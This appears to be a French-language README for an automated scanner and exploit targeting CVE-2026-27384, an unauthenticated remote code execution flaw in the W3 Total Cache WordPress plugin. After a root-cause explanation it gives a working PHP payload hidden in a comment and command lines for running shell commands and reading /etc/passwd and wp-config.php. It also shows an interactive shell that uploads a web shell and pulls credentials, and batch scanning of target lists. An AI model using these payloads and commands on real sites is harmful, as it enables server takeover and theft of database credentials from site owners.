
Scanner et exploit automatisé pour CVE-2026-27384, une RCE non authentifiée dans W3 Total Cache via injection mfunc/eval(). Fonctionnalités : détection automatique, 48 variantes de payload, shell interactif et scan par lots.
Plugin: W3 Total Cache Plugin Slug:
w3-total-cacheCVE ID: CVE-2026-27384 CVSS Score: 9.8 (Critique) CVSS Vector:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HType de vulnérabilité: Exécution de code arbitraire non authentifiée (Injection de code viaeval()) Versions affectées: <= 2.9.1 Version corrigée: 2.9.2 Date de publication: 24 février 2026 Chercheur: CODE WHITE GmbH
La fonctionnalité Dynamic Fragment Caching du plugin W3 Total Cache (système mfunc/mclude) exécute du code PHP intégré dans des commentaires HTML via eval(). Le token W3TC_DYNAMIC_SECURITY, censé protéger cette fonctionnalité, peut être contourné en combinant plusieurs erreurs de code.
Résultat : Sans nécessiter d'authentification, en soumettant simplement un commentaire WordPress, du code PHP arbitraire peut être exécuté sur le serveur.
| Champ | Valeur |
|---|---|
| CVE ID | CVE-2026-27384 |
| CVSS | 9.8 Critique |
| Type | Code Injection → RCE (CWE-94) |
| Version affectée | <= 2.9.1 |
| Version corrigée | 2.9.2 |
| Authentification | Non requise |
| Interaction utilisateur | Non requise |
| Prérequis | W3TC_DYNAMIC_SECURITY doit contenir un métacaractère regex |
La fonctionnalité Dynamic Fragment Caching de W3TC permet aux développeurs d'intégrer du code PHP dans le HTML de la page via des balises de commentaires spéciales :
<!-- mfunc SECURITY_TOKEN
echo get_current_user_id();
-->
<!-- /mfunc SECURITY_TOKEN -->
W3TC traite ces balises lors de la diffusion de la page depuis le cache : le PHP intégré est exécuté avec eval(), et sa sortie remplace le bloc de commentaire.
preg_quote() (PgCache_ContentGrabber.php)// VULNERABLE — 2.9.1
public function _parse_dynamic( $buffer ) {
$buffer = preg_replace_callback(
// ❌ W3TC_DYNAMIC_SECURITY doğrudan regex'e ekleniyor
// preg_quote() YOK → token regex pattern gibi davranır
'~<!--\s*mfunc\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
array( $this, '_parse_dynamic_mfunc' ),
$buffer
);
}
Si le token est '.', l'expression régulière devient <!--\s*mfunc\s*.(.*)--> → n'importe quel caractère unique remplace le token.
\s* vs \s+| Fonction | Pattern | Comportement |
|---|---|---|
_parse_dynamic() — exécute | mfunc\s*TOKEN | 0 espace accepté ✅ |
strip_dynamic_fragment_tags_from_string() — nettoie | mfunc\s+TOKEN | Au moins 1 espace requis ❌ |
Payload de l'attaquant : <!-- mfuncA php_code --><!-- /mfuncA -->
↑
PAS D'ESPACE entre mfunc et le token
Fonction strip : \s+ → ne correspond pas → payload RESTE
regex d'exécution : \s* → correspond → eval() S'EXÉCUTE
_has_dynamic())// VULNERABLE — 2.9.1
public function _has_dynamic( $buffer ) {
// ❌ Sadece defined() kontrolü — empty() veya metacharacter kontrolü YOK
if ( ! defined( 'W3TC_DYNAMIC_SECURITY' ) ) {
return false;
}
return preg_match(
'~<!--\s*m(func|clude)\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
$buffer
);
}
W3TC_DYNAMIC_SECURITY = '.' (métacaractère regex — n'importe quel caractère)
│
▼
L'attaquant soumet un commentaire :
<!-- mfuncA echo shell_exec("id"); --><!-- /mfuncA -->
│
▼
strip_dynamic_fragment_tags_from_string()
Pattern: mfunc\s+[^\s]+ → exige \s+, pas d'espace → CONTROURNÉ ✅
│
▼
Le commentaire est enregistré dans la base de données, la page est mise en cache
│
▼
Deuxième requête HTTP → W3TC sert depuis le cache
_has_dynamic() → mfunc\s*. → 'A' correspond → renvoie true
│
▼
_parse_dynamic() → preg_replace_callback
Pattern: mfunc\s*. → 'A' correspond
│
▼
_parse_dynamic_mfunc() → eval("echo shell_exec('id');")
│
▼
uid=33(www-data) gid=33(www-data) groups=33(www-data)
→ RCE non authentifié ✓
Sans authentification, du code PHP arbitraire peut être exécuté sur le serveur avec les privilèges du serveur web :
git clone https://github.com/kullanici/cve-2026-27384
cd cve-2026-27384
pip install -r requirements.txt
requirements.txt
requests
beautifulsoup4
| Mode | Description |
|---|---|
auto | Analyser le site → trouver une page de commentaires → exploiter (par défaut) |
exploit | Exploitation directe — avec l'URL de publication |
shell | Shell interactif |
detect | Détection W3TC uniquement |
python w3tc_rce.py https://hedef.com
Le scanner effectue les actions suivantes :
# commande id
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--cmd id
# lire /etc/passwd
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--cmd "cat /etc/passwd"
# lire wp-config.php
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--cmd "cat /var/www/html/wp-config.php"
# ID de publication manuel
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/merhaba-dunya/ \
--post-id 1 \
--cmd whoami
python w3tc_rce.py https://hedef.com \
--mode shell \
--post-url https://hedef.com/?p=1
Lorsque le shell est ouvert, les commandes suivantes sont exécutées automatiquement :
=================================================================
CVE-2026-27384 — W3TC mfunc Interactive Shell
URL : https://hedef.com/?p=1
Payload: b64_shell_exec (bypass='A')
=================================================================
User : www-data
Host : web01.hedef.com
PWD : /var/www/html
OS : Linux web01 5.15.0-91-generic #101-Ubuntu SMP
=================================================================
Commandes : exit | upload <local> <remote> | download <remote>
=================================================================
┌──([email protected])
└─$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
┌──([email protected])
└─$ upload shell.php /var/www/html/shell.php
[+] Upload: shell.php → /var/www/html/shell.php
┌──([email protected])
└─$ download /var/www/html/wp-config.php
[+] Download: wp-config.php → wp-config.php (4821 bytes)
python w3tc_rce.py https://hedef.com --mode detect
[+] W3TC installé !
Version : 2.9.1
Cache : True
[!] Version 2.9.1 VULNÉRABLE (<= 2.9.1) !
python w3tc_rce.py --list targets.txt -t 10 -o sonuclar.txt
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--proxy http://127.0.0.1:8080 \
-v